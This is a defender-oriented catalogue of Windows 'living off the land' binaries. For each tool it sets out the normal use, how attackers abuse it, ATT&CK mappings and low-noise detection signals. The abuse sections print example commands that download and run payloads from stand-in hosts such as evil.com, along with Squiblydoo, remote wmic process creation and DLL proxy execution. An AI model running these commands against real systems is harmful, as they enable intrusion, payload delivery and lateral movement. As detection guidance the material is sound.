The LOLBin Catalog

The High-Value LOLBin Catalog

Red Canary's Threat Detection Report tracks LOLBin technique prevalence across 1,700+ organizations. Certutil, mshta, and regsvr32 appear in the top 10 most observed techniques year after year. The concentration matters because it tells defenders where to invest first. Not every LOLBAS project entry is equally important. A handful of binaries drive the majority of real-world abuse.

Why does abuse concentrate on the same few binaries? Availability is one factor: the most abused LOLBins ship with every Windows version from XP through Windows 11. Capability is another: a good LOLBin offers download, execution, or persistence with a single command. Historical detection rates complete the picture. Certutil, mshta, and regsvr32 have been in active use for more than a decade precisely because detections for them were weak or noisy enough to be suppressed.

The approach for this catalog is consistent for each entry: legitimate function first, then the abuse pattern, then the detection anchor. Understanding what a binary is supposed to do is not optional context. It is the foundation for distinguishing malicious use from legitimate use, which is the entire detection problem.

certutil.exe

Certutil is the Windows Certificate Services command-line tool. Its legitimate function covers certificate management, CRL operations, PKI diagnostics, and hash verification. It runs on every Windows system because Windows depends on it for certificate infrastructure. That ubiquity is precisely what makes it attractive for abuse.

The most common abuse pattern is the download cradle. The -urlcache flag tells certutil to retrieve a URL and cache the result locally. Combined with -split (chunk-based download) and -f (force overwrite), a single command downloads a remote binary and writes it to disk.

certutil.exe -urlcache -split -f http://EVIL/payload.exe C:\Users\Public\payload.exe

The second major abuse pattern is Base64 decoding. An attacker can deliver a payload as a .txt or .b64 file, bypassing content inspection that would flag an .exe. Certutil then decodes it on the target system.

certutil.exe -decode encoded.b64 decoded.exe

The reverse operation, -encode, is used for exfiltration or obfuscation: encoding a file as Base64 text before sending it out of the environment.

ATT&CK coverage: T1105 (Ingress Tool Transfer) for the download cradle, T1027 (Obfuscated Files or Information) for the encode/decode operations.

Detection signals that matter: certutil with -urlcache in the command line, certutil making outbound HTTP or HTTPS connections (Sysmon Event ID 3), certutil writing executable files, and certutil spawned by an unexpected parent process such as Office applications, browsers, or script hosts. The false positive baseline is important here. Certutil -hashfile (verifying file integrity) and certutil -viewstore (browsing the certificate store) are common and legitimate. The -urlcache flag is not. In any environment without a WSUS relay or similar infrastructure reason, certutil making outbound HTTP requests is nearly always malicious on a standard workstation.

mshta.exe and regsvr32.exe

These two binaries are the most reliable proxy execution tools in the LOLBin catalog. Both load external code and execute it inside the context of a trusted Windows binary. Both have near-zero false positive rates for their specific abuse patterns.

mshta.exe is the Microsoft HTML Application Host. Its legitimate function is to run .hta files, which are HTML pages with embedded script (VBScript or JScript) and elevated privileges compared to browser-based JavaScript. The abuse is direct: pass a URL as an argument and mshta fetches the HTA file and executes whatever script it contains.

mshta.exe https://evil.com/payload.hta

The embedded VBScript or JScript in the HTA file can spawn cmd.exe, powershell.exe, or wscript.exe. This makes mshta a first-stage loader that lands nothing on disk except the HTA file it loads from the network. FIN7, TA551, and a wide range of commodity malware families have used mshta for delivery. ATT&CK: T1218.005.

Detection: mshta.exe with a URL in the command line, or mshta.exe spawning cmd.exe, powershell.exe, or wscript.exe as child processes. Both patterns have very low false positive rates. Legitimate mshta usage in enterprise environments is rare; loading HTA files from remote URLs is nearly unheard of in non-attacker contexts.

regsvr32.exe registers and unregisters COM DLLs and OCX controls. Windows depends on it for COM infrastructure. It is on every allowlist because blocking it breaks legitimate application functionality. The Squiblydoo technique exploits this trust.

regsvr32.exe /s /u /i:http://evil.com/payload.sct scrobj.dll

The flags matter. /s suppresses confirmation dialogs (silent mode). /u triggers unregistration, which calls the script's execution path. /i passes the URL as initialization data. scrobj.dll is the Windows Script Component runtime, a legitimate Windows DLL that can process COM scriptlets. The combination instructs regsvr32 to load a remote COM scriptlet and execute it, all inside a fully trusted, allowlisted binary.

Why it bypasses AppLocker: regsvr32.exe is on AppLocker's default executable whitelist because Windows requires it. The scriptlet execution happens inside that trusted process. AppLocker never sees a blocked binary because there is no new binary to block. ATT&CK: T1218.010.

Detection: regsvr32 with http or https in the command line, or regsvr32 making network connections (Sysmon EID 3), or regsvr32 spawning unexpected child processes. The false positive rate for regsvr32 with a URL in the command line is very low. Legitimate COM registration never involves fetching a remote URL.

rundll32.exe, wscript.exe, and cscript.exe

rundll32.exe loads a DLL and calls a specified exported function. Windows uses it extensively for Control Panel applets (.cpl files) and COM server hosting. The abuse model is straightforward: load a malicious DLL from a user-writable path and call an exported function that executes the attacker's code.

rundll32.exe C:\Users\user\AppData\Local\Temp\payload.dll,DllMain

The DLL executes inside the rundll32 process context, which is a signed Windows binary. Rundll32 is also abused to execute JavaScript directly, bypassing script execution policies: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication" executes script through the mshtml COM interface. ATT&CK: T1218.011.

Detection: rundll32 loading DLLs from non-system paths (%TEMP%, %APPDATA%, C:\Users\*) is the primary signal. Rundll32 with JavaScript in the command line is very high confidence. The false positive rate for DLLs from user-writable directories is medium because some legitimate applications (installers, update managers) do use AppData for DLL staging, but the pattern combined with an unexpected parent process substantially reduces FP noise.

wscript.exe and cscript.exe are the two Windows Script Host engines. wscript runs scripts in GUI mode (creates message boxes, dialogs). cscript runs in console mode. Both execute VBScript (.vbs) and JScript (.js) files. In phishing campaigns, a malicious Office macro or email attachment drops a .vbs file and runs it via wscript.

The multi-stage pattern is common: a macro drops a .vbs, wscript executes the .vbs, and the VBScript spawns powershell.exe with a Base64-encoded download cradle. Each stage uses a trusted binary. The entire chain from initial access to download involves no new binary except the dropped .vbs, which never gets a malicious hash because it is generated fresh each campaign. ATT&CK: T1059.005 (VBScript), T1059.007 (JavaScript/JScript).

Detection: wscript or cscript spawned by Office processes (winword.exe, excel.exe, powerpnt.exe) is very high signal. Wscript running scripts from %TEMP% or user directories is high signal. The parent process context is the key differentiator: wscript run from the command line by an admin is routine. wscript spawned by Excel at 2pm is an incident.

bitsadmin.exe and wmic.exe

bitsadmin.exe manages Windows Background Intelligent Transfer Service, the mechanism Windows Update and other system services use to download files asynchronously. BITS transfers continue in the background, survive network interruptions, and persist across reboots by design. That last property makes BITS useful for persistence.

bitsadmin /transfer job_name /download /priority normal http://evil.com/payload.exe C:\Path\file.exe

Some implants use BITS as a C2 channel rather than a one-time download mechanism. BITS traffic uses HTTP and HTTPS, is initiated by a trusted Windows service, and is often explicitly trusted by enterprise proxy policies because it is associated with Windows Update. An implant that polls a BITS job for new payloads can operate for extended periods without triggering proxy anomaly detections. ATT&CK: T1197.

Detection: bitsadmin /transfer to a destination that is not a Microsoft update server, enterprise WSUS server, or internal distribution point is the key signal. The BITS operational event log provides useful secondary evidence: Event ID 59 logs job creation, Event ID 60 logs completion, and Event ID 61 logs errors. These events do not require Sysmon and are available on default Windows installations. PowerShell Start-BitsTransfer to external URLs is also worth hunting.

wmic.exe is the WMI Command-Line Interface, providing command-line access to Windows Management Instrumentation. It can query system information, enumerate processes, and create processes both locally and on remote systems. The remote process creation capability is what makes it a lateral movement tool.

wmic /node:TARGET process call create "cmd.exe /c powershell -enc [payload]"

Local abuse patterns include reconnaissance (wmic computersystem get domain, wmic process list) and process creation to spawn additional stages. WMI event subscriptions via wmic can also establish persistence that survives reboots, though wmic.exe itself is deprecated in newer Windows versions in favor of PowerShell CIM cmdlets. The underlying WMI mechanism remains present and exploitable. ATT&CK: T1047.

Detection: wmic with "process call create" in the command line is high signal. wmic with /node: for remote execution combined with a process creation call is very high signal. Wmic calls from unexpected parent processes (Office applications, browser processes) are essentially always malicious. The false positive rate for "process call create" in general is medium because some enterprise management scripts use it, but process call create combined with an encoded command or a remote node is near-zero FP on standard workstations.

installutil.exe and Other Catalog Entries

installutil.exe is the .NET Framework Installation Utility. Its purpose is to run installer and uninstaller logic embedded in .NET assemblies, specifically the methods in classes decorated with the [RunInstallerAttribute(true)] attribute. An attacker creates a .NET assembly with a malicious Installer subclass, and installutil.exe runs the Install() method, executing the attacker's code inside a trusted .NET framework binary.

The AppLocker bypass dimension is significant. installutil.exe is whitelisted by default in most AppLocker configurations because it is a core .NET framework tool that enterprise applications depend on. The binary itself never changes. Only the assembly it is asked to run changes. ATT&CK: T1218.004.

Detection: installutil.exe running assemblies from user-writable paths (%TEMP%, %APPDATA%, non-standard directories) is the primary signal. installutil.exe making network connections after execution is also high confidence. The false positive rate for user-path assemblies is low because legitimate .NET installers generally run from program files or installer-controlled locations.

msiexec.exe is the Windows Installer service. Its abuse pattern is clean and effective: pass a URL directly as the /i argument and msiexec downloads and installs the MSI package silently (/q). MSI execution is trusted by Windows and often allowed through enterprise proxies because it is associated with software deployment. ATT&CK: T1218.007. Detection: msiexec with a URL in the command line is high signal with a near-zero false positive rate on workstations not running software deployment workflows.

msiexec /q /i http://evil.com/payload.msi

odbcconf.exe configures ODBC data sources and drivers. The REGSVR action in odbcconf mirrors regsvr32's function but through a different binary, making it useful when regsvr32 is monitored. ATT&CK: T1218.008.

odbcconf.exe /A {REGSVR evil.dll}

forfiles.exe processes files in a directory and runs a command for each match. Its abuse value is indirect: it can execute commands while making the parent process appear to be a legitimate file management utility. ATT&CK: T1059.003 (indirect).

forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c evil_command"

Detection Quick Reference

For each binary, one detection pattern produces the highest signal-to-noise ratio. These are the patterns to build first. They are not the only detections worth having, but they are the ones with the lowest false positive rates and the highest coverage for real-world abuse.

A few observations on the FP ratings. Rundll32 gets a medium FP rating not because the detection pattern is bad but because the range of legitimate software that loads DLLs from user directories is broader than for other LOLBins. Adding a filter for parent process (rundll32 spawned by a browser or Office application, or spawned by an unexpected process like a document opener) substantially tightens it. Wmic "process call create" is also medium because some enterprise management scripts use it, but filtering for encoded command strings or remote /node: targets drops FP to near-zero for standard workstations.

The goal is not to write a detection that fires on the binary name. Every endpoint has these binaries running constantly. The goal is to write a detection that fires on the specific combination of binary, context, and command line that distinguishes attacker use from every legitimate use in your environment. That combination exists for every binary in this catalog.